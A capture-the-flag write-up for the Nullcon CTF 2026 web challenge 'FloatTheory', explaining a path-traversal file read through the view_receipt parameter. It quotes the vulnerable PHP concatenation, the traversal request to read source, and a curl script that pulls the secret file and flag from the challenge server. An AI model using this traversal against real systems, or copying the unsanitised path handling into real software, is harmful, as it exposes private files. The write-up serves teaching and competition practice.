Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
NullconCTF2026/WriteupFloatTheory.en.md READ_ONLY

FloatTheory (BillSplitter Lite)

Challenge Data

Field Value
CTF Nullcon CTF 2026
Challenge FloatTheory (BillSplitter Lite)
Category Web
Flag ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

Challenge Description

The site simulated an application for splitting expenses between friends. The whole story revolved around an administrative fee of 0.01, but the interesting part was not weird floating point behavior. It was in how the backend stored and exposed the files for each session.


Reconnaissance

The application let us add people, calculate the total, and inspect receipts through the ?view_receipt= parameter. From the beginning there were several useful hints.

  • The name field showed Filename as a placeholder.
  • The site said everything was stored in files on the server.
  • The balance always displayed 0.01000.

That made view_receipt the first thing worth checking carefully.


Analysis

The real issue was a very clean LFI. The backend directly concatenated the value of view_receipt to the user directory path.

$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
    $lfi_content = file_get_contents($target);
}

With a path like ../../index.php, it was possible to read the source code and understand how the application actually worked. That revealed the following.

  • Each session had its own directory at /var/www/html/users/{session_id}/.
  • The flag was stored in a file named secret_XXXXXXXX.
  • The exact name of that file was written to .lock.
  • secret_* files were hidden from the interface, but they were still reachable through view_receipt.

At that point the floating point theme stopped mattering much. The real bug was file access.


Solution

The exploit only needed two requests.

First, read .lock to recover the name of the secret file.

GET /?view_receipt=.lock

That returned something like this.

secret_rCAlqyJl

Then request that file directly.

GET /?view_receipt=secret_rCAlqyJl

The response included both the 0.01 value and the flag.

0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}

If you wanted to automate it, something like this was enough.

curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\\{[^}]+\\}'

The title and the theme pointed in one direction, but the actual solve was in the file handling.


Flag

ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}